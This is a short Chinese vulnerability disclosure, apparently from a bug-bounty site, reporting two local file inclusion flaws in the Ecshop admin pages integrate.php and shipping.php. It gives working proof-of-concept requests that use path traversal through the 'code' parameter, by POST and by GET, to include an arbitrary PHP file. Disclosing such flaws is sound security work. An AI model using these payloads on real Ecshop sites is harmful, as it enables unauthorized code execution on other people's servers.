integrate.php 漏洞,Ecshop后台两处本地文件包含漏洞

### 简要描述：

整套程序当中对于某函数未做任何过滤........导致.......你猜.........

求礼物

### 详细说明：

第一个存在\admin\integrate.php文件中(其实还有好多，我找了两个代表的就提交了)

[](https://images.seebug.org/upload/201307/07001532251cfe359c4bb15a6e249bee65bff3ba.png)

code通过post提交未过滤

第二个存在\admin\shipping.php

[](https://images.seebug.org/upload/201307/07003453fb950198a7aa24c12826b2e1ec98dcbc.png)

code通过get提交

### 漏洞证明：

我在根目录下有一个2.php文件内容是phpinfo

url:http://127.0.0.1/ec/admin/integrate.php?act=save_uc_config

post:code=..%2F..%2F..%2F2

[](https://images.seebug.org/upload/201307/07002304c761719aedb294c6d0ee934c69ca194e.png)

[](https://images.seebug.org/upload/201307/070023151cf3fbfce8e499b6495ac8a2dc4ec5d8.png)

post提交后复制返回内容保存到一个html文件中，打开

[](https://images.seebug.org/upload/201307/07002424bc465ffa8108572b90ce14772a9ede01.png)

----------------------------------------------------------------------------------

get方式的是

url：http://127.0.0.1/ec/admin/shipping.php?act=install&code=../../../2

[](https://images.seebug.org/upload/201307/070038493bd1c42eebac8966fd4f6488ddd98008.png)